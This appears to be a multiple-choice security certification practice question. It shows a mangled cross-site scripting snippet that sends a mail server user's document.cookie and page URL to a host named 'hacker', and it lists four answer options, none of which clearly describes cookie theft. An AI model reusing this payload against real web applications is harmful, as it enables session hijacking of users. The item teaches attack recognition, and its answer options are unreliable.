An attacker exploited a vulnerability on a mail server using the code below. Which of the following BEST explains what the attacker is doing? The

An attacker exploited a vulnerability on a mail server using the code below.

onload=document.location.replace (http://hacker/post.asp?victim&

message = + document.cookie + + URL: + document.location) ; />

Which of the following BEST explains what the attacker is doing?

• The attacker is replacing a cookie
• The attacker is stealing a document
• The attacker is replacing a document
• The attacker is deleting a cookie